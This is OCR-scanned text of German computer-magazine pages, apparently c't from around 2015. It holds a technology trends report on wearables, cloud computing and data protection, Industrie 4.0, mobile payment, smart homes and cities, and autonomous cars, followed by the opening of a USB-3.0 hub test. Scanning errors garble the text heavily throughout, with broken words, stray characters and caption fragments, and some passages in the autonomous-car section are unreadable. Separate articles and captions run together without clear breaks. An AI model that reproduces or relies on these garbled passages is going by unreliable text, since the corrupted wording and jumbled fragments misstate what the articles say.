ist daraus jedoch noch nicht viel geworden. 

Die Medizintechnik wird künftig aber nicht ohne 
den Einsatz von Robotern auskommen -, auch wenn 
die Unterstützung von alten und gebrechlichen 
Menschen durch Automaten sicher nicht den 
Vorstellungen entsprechen wird, die man sich früher 


von humanoiden Roboterhelfern gemacht hat. 
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as Jahr der 64-Bit- und 4K- 
nartphones: Smartphones 3 


mit 64-Bit-CPUs und mehreren 
F nen ı gibts schon, iOS und 


Fitness-Tracker 


VER 
Wearables, wohin das Auge blickt. Eigentlich IN ) 


ein alter Hut, fing erst mit den ner; 7, 
bändern ein kleiner Boom an. Nun kı A / bs IN 
5: 


die nächste Generation der Aktivität aprackef 
und Computing- -Armbänder auf den Markt. I 29 
Wearables verlagern die Interaktion mit TG 

dem Gerät in den Hintergrund, es soll von 

sich aus tun, was man von ihm erwartet. Das ; 
„ist für die Aufnahme von Körper- und Aktivi- 

tätsdaten ausgezeichnet geeignet. Durch 

die Vielzahl neuer Sensoren muss man nicht 


man gerade nachgeht - das finden die 
Armbänder schon selbst heraus. 
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Jenseits der Wolken 


Firmen-IT zwischen Cloud-Anwendungen, Sicherheitsrisiken und Industrie 4.0 


ie Leser von heise online sind sich sicher: 

Einführung der Cloud, Datenschutz und 
Datenkontrolle sind die beherrschenden 
Themen, die Unternehmen in diesem Jahr 
beschäftigen werden. Und natürlich die Kos- 
ten - die IT soll sparen helfen, nicht etwa 
mehr Kosten verursachen. Was wiederum für 
viele Unternehmen bedeutet: Cloud. 

Kosten sparen durch IT scheint aber ein 
schwieriges Geschäft zu sein: 2015 werden 
die IT-Budgets in 33,6 Prozent der von Cap- 
Gemini befragten Unternehmen ansteigen. 
Der Anteil der IT-Chefs, die in ihren Abteilun- 
gen Kürzungen vornehmen müssen, bleibt 
bei rund 19 Prozent. Für 2016 und 2017 rech- 
nen gar 43 Prozent der CIO in Unternehmen 
mit steigenden Etats. Die Analysten gehen 
davon aus, dass die steigenden Budgets vor 
allem durch die Effekte der allgemeinen 
Digitalisierung bedingt sind: Alle Bereiche 
der Gesellschaft, und damit auch alle Berei- 
che in Unternehmen, werden zunehmend di- 
gitalisiert und vernetzt, was notwendiger- 
weise zu steigenden IT-Ausgaben führt, um 
nicht den Anschluss zu verlieren. 

Obwohl die Verlagerung von Software und 
Daten ins Netz für die meisten Unternehmen 
als unausweichlich erscheint, sind die Wege 
in die Cloud nicht wirklich klar. Gerade unter- 
nehmenskritische Daten einem Cloud-Dienst- 
leister anzuvertrauen macht viele IT-Chefs na- 
turgemäß nervös. Und mit dem NSA-Skandal 
stiegen diese Bedenken noch weiter an. 
Trotzdem steigen die Ausgaben deutscher 
Unternehmen für Cloud-Dienste zügig: um 
46 Prozent im Jahr 2014, bis 2018 sollen sie 
laut IT-Branchenverband Bitkom weiter um 
durchschnittlich 35 Prozent pro Jahr steigen. 

Trotz aller Bedenken wegen der NSA-Af- 
färe ist das Wachstum des Cloud-Marktes nur 
geringfügig gebremst worden, meint Bit- 
kom-Chef Dieter Kempf. Einige Kunden hät- 
ten Projekte auf Eis gelegt oder sich stattdes- 
sen für eine Lösung ohne Cloud entschieden, 
für die große Mehrzahl der Unternehmen 
seien Cloud-Dienste aber zu attraktiv, um sie 
nicht einzusetzen. Selbst um Speicherplatz 
muss man sich oft keine Sorgen mehr ma- 
chen, da er keine Kosten verursacht: Mittler- 
weile gibt es beispielsweise für Abonnenten 
von Office 365 unbegrenzten Speicherplatz 
beim Microsoft-eigenen Speicherdienst One- 
Drive. 

Den verbliebenen Datenschutzbedenken, 
die bei weiteren NSA-Enthüllungen immer 
wieder hochkochen, arbeiten viele Anbieter 
auch durch Zusicherung von Datenschutz 
und Datenkontrolle entgegen: Die Deutsche 
Telekom sieht etwa in ihren lokalen Rechen- 
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zentren einen Wettbewerbsvorteil gegen- 
über US-Anbietern. Die wiederum versu- 
chen, durch Installation von Rechenzentren 
innerhalb Europas Bedenken zu zerstreuen, 
da die Daten dann innerhalb europäischer 
oder deutscher Netze blieben. Microsoft 
wehrt sich gar bis zum Obersten Gerichtshof 
der USA dagegen, dass US-Behörden Zugriff 
auf Daten erhalten, die in irischen Rechen- 
zentren Microsofts gespeichert sind. 


Meins! 


Datensicherheit ist jedoch nicht nur für Un- 
ternehmen, die Cloud-Dienste nutzen, ein 
Problem. Mittlerweile geraten sogar zuneh- 
mend auch Industrieanlagen ins Visier von 
Cyberkriminellen. Auf der anderen Seite indi- 
vidualisieren sich Unternehmen, was die IT- 
Abteilungen vor neue Aufgaben stellt - und 
die ebenfalls den Rückgriff auf Cloud-Dienste 
fördern, etwa durch Auslagerung des ganzen 
Arbeitsplatzes in die Cloud, was den Mitar- 
beitern ermöglicht, von jedem Ort der Welt 
aus ihren Aufgaben nachzugehen. Gerade in 
Büros und Firmen, die nicht stark von Pro- 
duktionswerken abhängig sind, sind solche 
Lösungen eines der wichtigsten Themen für 
die nächsten Monate. 

Wer nicht gleich den ganzen Arbeitsplatz 
in die Cloud verlagert, wird in der nächsten 
Zeit nicht darum herumkommen, Mitarbei- 
tern die Nutzung eigener Geräte zu ermögli- 
chen. Warum ein Handy für die Arbeit und 
eines für private Zwecke herumschleppen, 
wenn man eh viel unterwegs oder zu Hause 
arbeitet? Zum einen müssen IT-Abteilungen 
sicherstellen, dass alle Mitarbeiter die not- 
wendigen Anwendungen und Daten jeder- 
‚zeit zur Verfügung haben, zum anderen, dass 
die Geräte der Mitarbeiter nicht unerwünsch- 
te Schädlinge und Spionagesoftware ins Un- 
ternehmen einschleppen. Bring your own 
Device (BYOD) oder nüchterner Mobile De- 
vice Management ist in den IT-Abteilungen 
eine bekannte Herausforderung - und sie 


\ / 
Der NSA- Skandal hat die Datenschutz- 
a Sicherheitsbedenken gegen die Cloud 
noch verstärkt. US-Anbieter versuchen 
dem mit der Einrichtung von Rechen- 
zentren in Deutschland oder Europa zu 
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werden sich in den kommenden Monaten 
dieser Herausforderung verstärkt stellen 
müssen. 


Industrie 4.0 


Industrie 4.0, manchmal im Überschwang 
auch schon die „vierte industrielle Revoluti- 
on“ genannt, beschreibt erst einmal nur das 
Vernetzen und Digitalisieren herkömmlicher 
Industriezweige. Als Schlagwort geistert es 


„Gerade unternehmenskritische 
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liche Intelligenz ((DFKI) formuliert es so: „In- 
dustrie-4.0-Produktionsprozesse sind fein- 
granular mit Sensorik ausgestattet und lie- 
fern in Echtzeit interne und externe Produk- 
tionsparameter in einer noch nie da gewese- 
nen Detailliertheit.” Industrie 4.0 kann man 
also auch als das Internet der Dinge für die 
Industrie bezeichnen. 

Die anfallenden Daten in Industrie-4.0- 
Prozessen stellen die IT-Abteilungen auch 
von Industrieunternehmen vor ganz neue 


Daten einem Cloud-Dienstleister 


anzuvertrauen macht viele IT-Chefs naturgemäß nervös.” 


schon seit ein paar Monaten auch durch die 
IT-Landschaft, wirklich in größerem Maßstab 
umgesetzt wird es aber erst noch. Dies führt 
dann zu einschneidenden Konsequenzen: In 
einer vernetzten Produktion sagt das Her- 
stellungsobjekt der Maschine, was sie tun 
soll - so werden, in Verbund mit den Daten 
aus der Produktionssteuerung und industrie- 
tauglichen 3D-Druckern, sehr kleine Serien 
oder gar individualisierte Produkte möglich. 
Das Deutsche Forschungszentrum für Künst- 
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Herausforderungen: Industrie 4.0 heißt auch 
Big Data in der Produktion, nicht nur als Be- 
schreibung der Datenberge verstanden, son- 
dern auch als Notwendigkeit, diese sofort 
auszuwerten und Konsequenzen daraus wie- 
der in die Produktionsanlage zurückzuge- 
ben. Entwicklungen wie die In- Memory-Da- 
tenbank Hana von SAP werden daher nicht 


nur Handel und Verwaltung beschäftigen, sie 
werden sogar vor allem in Produktionsunter- 
nehmen die IT-Landschaft verändern. 
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Industrie 4.0 bedeutet aber auch neue An- 
sätze in der Robotik: Nicht die etwa von Au- 
tomobilwerken bekannten Industrieroboter, 
die repetitive Tätigkeiten übernehmen, sind 
gefragt, sondern autonom handelnde Ma- 
schinen - der autonome beziehungsweise 
selbstfahrende Gabelstapler etwa benötigt 
nicht nur Techniken, wie sie für autonome 
Autos entwickelt werden, er braucht auch 
Zugriff auf die Produktionssteuerung und die 
Maschinendaten, um erforderliche Materia- 
lien anliefern oder fertige Produkte abholen 
zu können. 

Eine allseits vernetzte und sich selbst or- 
ganisierende Produktion wird aber auch die 
Arbeitsprozesse stark umkrempeln - nicht 
nur, weil neue Sicherheitskonzepte für die 
Zusammenarbeit von Menschen und auto- 
nom operierenden Maschinen notwendig 
sind. Laut dem Fraunhofer Institut für Ar- 
beitswirtschaft und Organisation IAO ist das 
Endziel der Industrie 4.0 zwar nicht die men- 
schenleere Fabrik, aber es werden viel weni- 
ger manuelle Tätigkeiten und Routineaufga- 
ben anfallen. „Zunehmen wird der Anteil von 
indirekten Mitarbeitern in planenden und 
steuernden Bereichen.” 


Geld her! 


Internet der Dinge? Was der Industrie recht ist, 
kommt dem Handel gerade gelegen: Die Um- 
rüstung auf mobile Bezahlsysteme kommt in 


Eine vollautomatische Produktions- 
anlage für Elektrofahrzeuge von IBG. 
In der Industrie 4.0 kann das Auto der 
Anlage selbst sagen, wie es gestaltet 
werden soll - und die benötigten Teile 
werden nach aktuellem Bedarf von 
autonomen Staplern angeliefert. 
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Gang. Digitale Geldbörsen wurden immer 
wieder vorgestellt, um dann nie wirklich ein- 
gesetzt zu werden. Derzeit nutzen nach aktu- 
ellen Untersuchungen gerade einmal zwei 
Prozent der Bundesbürger elektronische Wal- 
lets, um per Smartphone zu bezahlen. Zum 
einen sei Unkenntnis über die Möglichkeiten 
die Ursache - bei vielen aber auch Bedenken 
wegen möglicher Sicherheitsrisiken. 

Wieder einmal könnte Apple derjenige 
sein, der die Blockaden überwindet: Apple 
Pay, das nur mit dem iPhone funktioniert, hat 
in den USA einen berauschenden Start hin- 
gelegt. Nur drei Wochen nach der Einfüh- 
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IBMs z13 ist die moderne Form des 
Mainframes, der Cloud-Dienste, Data- 
Mining und große Transaktionsdaten- 
banken bedient. IBM meint, die z13 
schaffe bis zu 2,5 Milliarden Transaktionen 
pro Tag, bis zu 8000 virtuelle Server soll 
man auf dem System betreiben können. 


rung sollen dort in einigen Ladenketten be- 
reits ein Prozent aller Transaktionen per 
Apple Pay abgewickelt worden sein. Selbst 
Googles NFC-Bezahllösung profitierte in den 
USA von der Aufmerksamkeit, die die Einfüh- 
rung von Apple Pay erzeugte. 

Absehbar soll Apples System, bei dem 
man die Zahlung per Fingerabdruck statt PIN 
bestätigen kann, auch nach Europa kommen 
- und viele räumen ihm auch hierzulande 
große Chancen ein, auch wenn in Deutsch- 
land Bargeld immer noch das beliebteste 
Zahlungsmittel ist. Zwar setzt hierzulande die 
Mehrheit auch bargeldlose Zahlungsmittel 
ein - dabei führt die EC-Karte unangefochten, 
da ihr gegenüber die wenigsten Sicherheits- 
und Datenschutzbedenken bestehen. 

Ein weiteres Hindernis, die Verfügbarkeit 
von Bezahlterminals mit NFC, müssen die 
Händler aus dem Weg räumen. Neuere Ter- 
minals sind damit allerdings bereits ausge- 
stattet. Auch moderne Smartphones haben 
in der Regel einen NFC-Chip, mittlerweile ist 
die Kurzstrecken-Funktechik - erst gehyped, 
dann als Flop abgeschrieben - eine Art All- 
tagstechnik, die noch der Anwendung harrt. 
Neben mobilen Bezahlsystemen, die mit 
Smartphone und NFC arbeiten, gibt es mitt- 
lerweile Kreditkarten oder Speicherkarten mit 
NFC-Chip. Die NFC-Unterstützung kommt 
dann künftig nicht nur beim mobilen Bezah- 
len zum Einsatz, sondern etwa als Schlüssel 
zum Hotelzimmer oder fürs Auto. (ik) dE 
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M arty McFly kannte kein Internet. Nicht 
einmal, als er (in „Zurück in die Zu- 
1 kunft 2°) im Jahr 2015 landet. Im realen Jahr 
| i 2015 stehen wir ganz anders da: Ohne Inter- 
net, ohne Zugang zum Netz geht eigentlich 
gar nichts mehr. 
Mit der immer weiter fortschreitenden Di- 
“e gitalisierung der Gesellschaft erfasst die Ver- 
ea De be A /\ netzung immer weitere Bereiche. Was Marty 
/ ä McFlIy ebenfalls nicht kannte, aber auch für 
uns eine gänzlich neue Entwicklung darstellt, 
sind die anders gearteten Einsatz- und Nut- 
zungsmöglichkeiten, die Vernetzung, Digita- 
lisiierung und autonome Komponenten uns 
in Kürze ermöglichen werden. 


Vorhersage 


Zwei Entwicklungen treffen aufeinander: das 
Internet der Dinge als Vernetzung auch der 
alltäglichsten Gerätschaften und ein grund- 
sätzlicher Paradigmenwechsel in der Verar- 
beitung der anfallenden Daten. Wir bedie- 
nen Geräte nicht mehr, indem wir etwas auf 
ihnen einstellen, eingeben, auf ihnen herum- 
touchen, ja, nicht einmal dadurch, dass wir 
mit ihnen sprechen. Die Geräte erkennen, 
was wir wollen, wir bedienen sie ohne Be- 
dienoberfläche, nur durch unser Verhalten. 
Dieser Ansatz wird in anderen Bereichen, in 
denen es um Voraussagen über das Nutzer- 
verhalten geht, Predictive Computing ge- 
nannt. 

Bislang geht es bei der Auswertung riesi- 
ger Datenberge durch Data Mining vor allem 
darum, die Vergangenheit zu erfassen und 
dadurch Aussagen über die Gegenwart zu 
treffen: Was wurde verkauft, welche Lager- 
bestände sind derzeit zu niedrig? Was schaut 
sich ein Nutzer im Web gerade an, welche 
Anzeige muss ich einblenden? Künftig geht 
es darum, mit den anfallenden Daten die Ge- 
genwart zu erfassen und dadurch Aussagen 
über die Zukunft zu treffen. Was wird der 
User als Nächstes machen wollen, welche 
Geräte müssen also wie reagieren? Welche 
Aktionen müssen Geräte und Software ein- 
leiten, um absehbare Wünsche und Anforde- 
rungen auch umsetzen zu können? 

Über das Internet der Dinge und die Algo- 
rithmen des Predictive Computing kommen 
in den nächsten Monaten und Jahren die 
einzelnen dafür notwendigen Elemente zu- 
sammen. Von Wearables über intelligente 
Haustechnik, Sensoren und Aktoren im 
Stadtraum und Körperdatenauswertung bis 
hin zu autonomen Autos arbeiten die einzel- 
nen Bestandteile über das Internet der Dinge 
zusammen, um die Umgebung des Nutzers 
jederzeit auf seine Wünsche einzustellen, 
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ohne dass er bewusst aktiv werden ui - die Thermostaten ‚von Nest anzusprechen, 


Gesundheitstechnik ist dann in der Lage 
beugend aktiv zu werden. Firmen. beko 
men die Informationen, um Marketirigaktio- 
nen zu starten, bevor der User überhaupt 
weiß, dass ihn ein bestimmtes Produkt inte- 
ressieren könnte. . . 


Bedienen durch Verhalten - 


Dass wir Geräte nicht mehr’im klassischen 
Sinne bedienen müssen, kann man sich an- 
hand verfügbarer Techniken vorstellen. Fit- 
ness-Armbänder und Smartwatches sagt 
man in der Regel nicht mehr: „Ich gehe jetzt 
Fahrradfahren!“ Das erkennen sie anhand 
der Sensordaten mittels der Algorithmen, die 
sie auswerten und mit den Umgebungsbe- 
dingungen in Bezug setzen, schon selbst. 

Einen Schritt weiter geht zum Beispiel 
Google mit der Ankündigung, die Smartpho- 
ne-App Google Now werde künftig mit den 
Thermostaten der Heimtechnik-Tochter Nest 
zusammenarbeiten. Google Now erkennt an 
den Gewohnheiten und an den Bewegun- 
gen des Nutzers: Jetzt geht’s nach Hause! 
Und schon informiert das Smartphone den 
Nest-Thermostaten: Fahr mal langsam die 
Temperatur hoch, wir sind in 15 Minuten da, 
und Jürgen findet es bei 22 °C angenehm. 
Die Thermostaten von Nest wiederum kön- 
nen einem Kühlschrank von LG mitteilen, 
dass ich gar nicht zu Hause bin - der geht 
dann in einen Energiesparmodus. Aktivitäts- 
tracker wiederum sagen Nest, Jürgen ist zu 
Hause, schläft aber - 22 °C Raumtemperatur 
sind also nicht sinnvoll. 

Das lässt sich beliebig ausbauen - so kön- 
nen Sensoren in der Wohnung feststellen, 
welcher Nutzer sich wo aufhält. Die Auswer- 
tung der bisherigen Vorlieben ergibt dann 
Aussagen darüber, welcher Raum wie einzu- 

„.stellen.ist: Licht, Wärme, eventuell Musik. 
Haustechnik wird nichts mehr mit der seit 
Jahren propagierten Heimautomation zu tun 
haben, die komplizierte Installationen und 
oft proprietäre Technik erforderte. Intelligen- 
te Haustechnik arbeitet mit per WLAN ver- 
netzten Einzel-Elementen, die sich über Soft- 
ware vermittelt gemeinsam betreiben lassen. 
Sowohl Apple als auch Google, die beide viel 
in diesen Bereich investieren, versuchen die 
Fehler der Vergangenheit zu vermeiden und 
die intelligente Haustechnik für den einzel- 
' nen Nutzer sowohl erschwinglich als auch 
tatsächlich wünschenswert zu machen - und 
einfach bedienbar dadurch, dass man gar 

‚ nichts mehr direkt veranlassen muss. 
“ Intelligente Sensoren sind aber natürlich 
nicht auf die Haustechnik beschränkt. Um 
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braucht es noch das Smartphone als Mittler, 
das man mit sich herumschleppen muss. 
Daimler hat aber beispielsweise schon ge- 
zeigt, dass ja auch das Auto die Heizung in- 
formieren kann, dass sein Besitzer auf dem 
Heimweg ist - die Informationen über die 
Wege, die zurückgelegt werden, hat der 
Wagen zumindest bei Autofahrern ebenso 
wie das mitgeführte Smartphone. 

Die nächste Stufe besteht darin, die Sen- 
soren gar nicht mehr mitzuführen, sondern 
sie in die Umgebung einzubauen. Die intelli- 
gente Stadt weiß, wo ich bin, und meldet 
meiner Wohnung, dass ich komme. Städte, in 
denen überall Lichtmasten für die Straßen- 
beleuchtung, Ampeln, Stromkästen, DSL- 
Verteiler und so weiter herumstehen, kön- 
nen ohne technische Schwierigkeiten mit 
einem Sensornetz ausgestattet werden, in 


Report | Trends 2015. 


Audi, BMW und Mercedes für ihre Tests nut- 

zen, ein lenkradloses Spezialvehikel vorge- 
stellt. Das erregte viel Aufsehen, weil es be- 
sonders deutlich macht, wie sehr autonomes 
Fahren sich vom gewohnten unterscheidet. 
Mercedes hat auf der Consumer Electronics 
Show Anfang dieses Jahres als erster Auto- 
hersteller eine ähnliche Studie vorgestellt. 

Sie verzichtet jedoch nicht aufs Steuer, son- ” 
dern lässt dem Fahrer die Wahl, ob er selbst rn 
fahren möchte. ' n N 


I 
| 
Autonome Autos 


Ein wichtiger Aspekt beim autonomen Fah- 
ren ist die Vernetzung der Fahrzeuge unter- 
einander und mit einer Verkehrsleitzentrale. 
So lassen sich Informationen über Gefahren- 
stellen, etwa Glatteis auf einer Brücke, 
schnell verbreiten. Die Fahrzeuge können 


„Die Geräte erkennen, was wir wollen, wir bedienen sie ohne 


Bedienoberfläche, nur durch unser Verhalten. 


das man sich als User einbucht. Wenn man 
das will - schließlich ist es nicht jedermanns 
und jederfraus Sache, dass die intelligente 
Stadt wirklich ständig weiß, was ich mache, 
wo ich mich aufhalte und was ich als Nächs- 
tes plane. 


Intelligente Städte 


Die Stadt der Zukunft ist eine vernetzte, digi- 
talisierte Stadt, die sich ständig an die Be- 
dürfnisse der Bewohner anpasst - und dies 
auch sehr individuell gestalten kann, indem 
sie ständig mit der Haustechnik und den 
Sensoren, die der Nutzer immer noch mit 
sich herumträgt, kommuniziert. \ 
Gleichzeitig ist die intelligente Stadt auch 
davon..abhängig, dass viele Geräte oder 
Komponenten autonom operieren können, 
unabhängig vom Nutzer, ohne User-Eingrif- 
fe. Das deutlichste Beispiel für diese Entwick- 
lung sind die autonomen Autos, die in den 
nächsten Jahren vom Forschungsprojekt zur 


alltäglichen Realität werden. Die Entwicklung‘ 


autonomer Autos umfasst bereits alle Kom- 
ponenten, die für Predictive Computing, In- 
ternet der Dinge, intelligente Sensortechnik 
und Bedienen durch Verhalten notwendig 
sind. Googles fahrerloses Auto oder der 
F 015 von Mercedes werden erstim nächsten 
Jahrzehnt auf die Straße kommen. Bis dahin 
sind noch viele Probleme zu lösen, darunter 
auch jede Menge juristische. 

Google hat bereits 2014 zusätzlich zum 


umgerüsteten Serienfahrzeug, wie es auch 


„sogar eine 
Fahrbahn n mal 
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dann vorsichtig fahren oder den Bereich um- 
fahren. Auf die Vollbremsung eines voraus- 
fahrenden Autos können alle nachfolgenden 
sofort reagieren. 

Kommunikation ist einer der interessan- 
ten Punkte am Mercedes F 015. Er vernetzt 
sich nicht nur mit Computersystemen, son- 
dern kommuniziert auch mit Passanten. 
Vorne zeigt blaues Licht an, dass das Auto | 
autonom fährt. Lenkt der Mensch, leuchten — 
die Lichter weiß. Erkennt das Fahrzeug im ar 
autonomen Betrieb einen Fußgänger, zeigt _ 
es dies durch einen Lichtbalken an. Die Ba 
ken wiederholen sich an den roten LED 


z 
das Auto ih nt m r 
Straß er re 
Die Hersteller versic 
für a Fahren i 


soren wi Lidar und 
den sei un € 
Auto I die | 

längst nicht Fertig. ooglı Be 
bei seinen unten s 


fahrerlosen Be Sea = 


formes Fahre 
ell"bs Lösung ist. Ka 


kehr wi en n durch 


ratives Verhalt DH 4 
selbstfahrend: 
menschlichen Fahre 

’ er 


Report | Trends 2015 


dazu fähig sein. So hat BMW länger an 
Algorithmen zum Einfädeln auf die Auto- 
bahn entwickelt: Wann bremst man, um den 
anderen vorzulassen und wann beschleu- 
nigt man, damit er hinter einem eine Lücke 
findet? 

Doch die Algorithmen müssen noch ganz 
andere Anforderungen bewältigen. Irgend- 
wann muss der Autopilot womöglich ent- 
scheiden, ob er das Leben seiner Insassen 
gefährdet, um andere zu schützen. Wählt er 
die Kollision mit dem entgegenkommen- 
den LKW oder weicht er auf den Radweg 
aus, wo jemand fährt? Anders als der echte 
Fahrer handelt der Autopilot nicht instink- 
tiv, sondern hat genug Zeit, sich nach Vor- 
gaben seiner Software zu entscheiden. Wie 
solch ein moralisches Dilemma gelöst wer- 
den kann, wird nicht nur die Programmie- 
rer, sondern viele Kreise der Gesellschaft, 
darunter auch die Kirchen, beschäftigen. 

Sicher ist hingegen, dass der Autopilot 
ebenso wie der menschliche Fahrer niemals 
ausgelernt hat. Es kann immer eine Situation 
auftreten, zu der die Software nicht die opti- 
male Lösung kennt. Audi arbeitet mit einem 


Prognosen 


Sind die Technik und die Algorithmen so 
weit, kann sich der Umgang mit dem Auto 
grundlegend ändern. Nicht einfach dadurch, 
dass man das Auto selbst fahren lässt. Das 
autonome Auto verändert in der intelligen- 
ten Stadt das Verhalten: Statt des bislang ge- 
wohnten Individualverkehrs lassen sich Sha- 
ring-Konzepte realisieren, in denen der Nut- 
zer mittels Sensornetz der Stadt ein Auto 
heranruft, wenn er es gerade mal braucht. 
Eine Geste in der Luft: Das nächste freie Auto 
fährt selbstständig heran, das Fahrtziel ange- 
sagt - das Auto schlägt vor, man könne ja 
unterwegs noch andere User mitnehmen, 
die ein ähnliches Ziel hätten. Nach Nutzung 
fährt das Auto dann selbstständig wieder an 
einen freien Parkplatz. 

Bis es so weit ist, bedarf es noch einiger Ent- 
wicklungsarbeit. Die ersten Ansätze dazu sind 
aber bereits in Haustechnik, in Fahrassistenz- 
systemen von Autos oder teilautonomen Fahr- 
zeugen anzutreffen. Auch neue Methoden, mit 
Geräten oder dem Netz zu interagieren, setzen 
sich immer mehr durch: Sprachsteuerung ist 


„Die Entwicklung autonomer Autos umfasst bereits alle Komponenten, 
die für Predictive Computing, Internet der Dinge, intelligente 
Sensortechnik und Bedienen durch Verhalten notwendig sind.” 


zentralen Fahrerassistenzsteuergerät (zFAS), 
das die Informationen der Sensoren zu 
einem detaillierten Bild der Fahrzeugumge- 
bung verarbeitet. Über die Online-Verbin- 
dung von Audi connect sollen diese Daten 
künftig an Server gesendet werden. Die ent- 
wickeln dazu passende Fahrstrategien, die 
wieder an die Autos übertragen werden. Die 
lernen also während der Fahrt permanent 
dazu. 


bei Smartphones und beispielsweise der Fern- 
bedienung für Amazons Streaming-Client Fire 
TV auf einer Stufe angelangt, die sie wirklich 
nützlich macht. Gestensteuerung wiederum 
kommt zuerst vor allem an solchen Orten, wo 
sie sinnvoll erscheint: Im Auto, um Bedienung 
ohne Ablenkung von der Fahrsituation zu er- 
möglichen, in der Wohnung, um Steuerung 
ohne eine Fernbedienung, die man erst ein- 
mal finden muss, zu schaffen. 


Die Heizung von Hand einstellen? Ach was, 
das macht der intelligente Thermostat 
künftig selbst anhand der Daten, die er 
vom Smartphone, vom Auto und von 
anderer Haustechnik bekommt. 


Letztlich versucht Predictive Computing 
aber über die Erleichterung von Interaktion 
mit Technik und digitaler Umgebung hinaus- 
zugehen. Erste Vorstellungen bestehen bei- 
spielsweise darin, etwa über die Erfassung 
von Körperdaten Herzinfarkte vorherzusa- 
gen. Man geht davon aus, dass man mögli- 
cherweise auf Grund der erfassten Körperda- 
ten, bisherige Gewohnheiten des Users und 
auftretende Veränderungen im Körper einen 
Herzinfarkt heute schon bis zu 6 Stunden im 
Voraus erkennen könnte. Bislang müssen 
diese Daten aber noch durch relativ aufwen- 
dige Einrichtungen aufgenommen werden - 
ein aussagekräftiges EKG ist bislang noch 
nicht mittels Fitnesstracker machbar. Das 
kann sich aber angesichts der Weiterent- 
wicklung der Sensortechnik schnell ändern. 
Nicht nur die Zukunft der Stadt und der 
Wohnung ist digital und vernetzt - auch die 
der Medizintechnik. (jk) 


Heute schon sind selbst fahrende Autos auf deutschen Autobahnen 
unterwegs. Die Testfahrer sind jedoch jederzeit bereit einzugreifen. 


94 


© copyright by Heise Zeitschriften Verlag 


Konzeptauto für die Zukunft des autonomen Fahrens: 
futuristischer Luxusschlitten von Mercedes dt 
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Prüfstand | USB-3.0-Hubs 


Benjamin Benz 


Problem-Vervielfacher 


Test und Praxis: USB-3.0-Hubs 


USB-3.0-Ports sind bei den meisten PCs rar und schnell 
belegt. Einfache Abhilfe - und sogar das flotte Laden 

von Tablets - versprechen SuperSpeed-Hubs. Doch in der 
Praxis lauern zahlreiche Fallstricke. Spart der Hersteller 
an Schutzschaltungen, besteht sogar Gefahr für den PC. 


uperSpeed-Hubs versprechen 
9 den Parallelbetrieb von meh- 
reren USB-3.0-Geräten an einer 
Buchse des PC - theoretisch bis 
zu 127. Dank Transferraten von 
bis zu 450 MByte/s kommen sich 
selbst mehrere USB-Sticks und 
externe Festplatten nicht spürbar 
in die Quere. Dafür drohen ande- 
re Tücken, zumal einige Herstel- 
ler an gefährlichen Stellen spa- 
ren, um den Preis zu drücken - 
mitunter sogar deutlich unter 20 
Euro. Von den rund hundert ver- 
schiedenen in Deutschland an- 
gebotenen USB-3.0-Hubs haben 
wir neun repräsentative ins 
c't-Labor geholt. Unser günstigs- 
ter Testkandidat ist der Logilink 
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UA0204 mit vier Ports für 17 
Euro. Dafür bekommt man dann 
aber auch kein Netzteil mitge- 
liefert, sondern nur eines der 
von uns viel gescholtenen Y- 
Kabel. Ähnlich sorgenvoll stimmt 
der USB-auf-Hohlstecker-Adap- 
ter, den Silverstone dem EPO1 
statt eines Netzteils beilegt - 
dazu später mehr. Da ist es schon 
konsequenter, dass Hama bei 
dem für den mobilen Einsatz be- 
worbenen Dual-Port-Hub mit der 
schnöden Nummer 54132 den 
Netzteileingang gleich ganz 
weglässt. 

Vier Kandidaten (Delock 
61762, Logilink UAO112A, Hama 
39879 und D-Link DUB-1340) zu 


Preisen von knapp 20 bis 30 Euro 
ähneln sich mit vier Ports und 
einem Netzteil bis auf die Gehäu- 
se stark. Zwei weitere fallen 
etwas aus der Reihe: Der LC- 
Power LC-HUB-EX4S für 19 Euro 
hat einen Power-Taster, dessen 
Einstellung er aber leider ver- 
gisst, sobald die Versorgungs- 
spannung nicht mehr anliegt. 
Der Exsys EX-1183HMVS kostet 
zwar 74 Euro, bietet dafür jedoch 
ein robustes Metallgehäuse so- 
wie Schraubbefestigungen für 
USB-Kabel, Stromversorgung und 
Gehäuse. 

Obwohl die Datenbank des 
USB Implementers Forum mitt- 
lerweile 26 zertifizierte Super- 
Speed-Hub-Chips von acht ver- 
schiedenen Herstellern listet, 
stecken in fast allen Testkandida- 
ten ähnliche 4-Port-Chips. VIA 
Technologies ist mit VL811 und 
VL812 gleich sechsmal vertreten. 
Dazu gesellen sich noch zwei 
Chips von Genesys Logic sowie 
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einer mit einer USB-Vendor-ID 
von Hitachi, sprich Renesas. Bis- 
her nur fest auf Mainboards ge- 
lötet sind uns Chips von AS- 
Media begegnet. In freier Wild- 
bahn noch überhaupt nicht ge- 
sichtet haben wir Modelle von 
Texas Instruments, Realtek, Cy- 
press und Microchip. Dabei hät- 
ten insbesondere die beiden 
letztgenannten auch Chips mit 
bis zu acht Ports im Portfolio. 
Zwei Hubs mit mehr als vier 
Ports, die im Vorfeld dieses Tests 
bei uns aufschlugen, kaskadier- 
ten intern zwei oder gar drei 4- 
Port-Chips. Das halten wir für 
eine so schlechte Idee, dass wir 
uns auf Hubs mit nur einem Chip 
beschränkt haben. 


Kuriositätenkabinett 


Solange die Hubs direkt mit 
ihrem mitgelieferten Kabel am 
Host-PC hingen, schafften sie es 
alle, einer per SuperSpeed ange- 
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schlossenen SSD Datenraten im 
Bereich von 450 MByte/s zu ent- 
locken. Mussten die Hubs ihre 
Aufmerksamkeit auf zwei SSDs 
aufteilen, lag die Gesamtge- 
schwindigkeit immer noch bei 
330 MByte/s. 

Bei komplexeren Testszena- 
rien mit vielen Geräten, längeren 
Kabeln oder gar kaskadierten 
Hubs traten allerdings skurrile Ef- 
fekte auf: 

-So konnten wir mit einer 
Kaskade aus drei Hubs sowie 
einem auf dem Mainboard inte- 
grierten genug Verwirrung stif- 
ten, dass ein ganz anderer USB- 
Port des Intel-Chipsatzes einen 
USB-Stick nicht mehr zuverlässig 
erkannte. Wohlgemerkt: Die Kas- 
kade selbst zeigte in diesem Fall 
- ausnahmsweise - keine Auffäl- 
ligkeiten. Sobald wir sie abzogen, 
funktionierte der Onboard-Port 
wieder problemlos. Auch wenn 
besagter Stick vor den Hubs an 
den PC angeschlossen wurde, 
kam es zu keinen Problemen. 

- Bei einem anderen Testsze- 
nario erkannten manche USB- 
Hubs manche Sticks nicht mehr, 
sobald ein Verlängerungskabel 
ins Spiel kam. Erstaunlicherweise 
war es dabei völlig egal, ob das 
Kabel zwischen Stick und Hub 
oder zwischen Hub und PC hing. 
Stick und Kabel ohne Hub ko- 
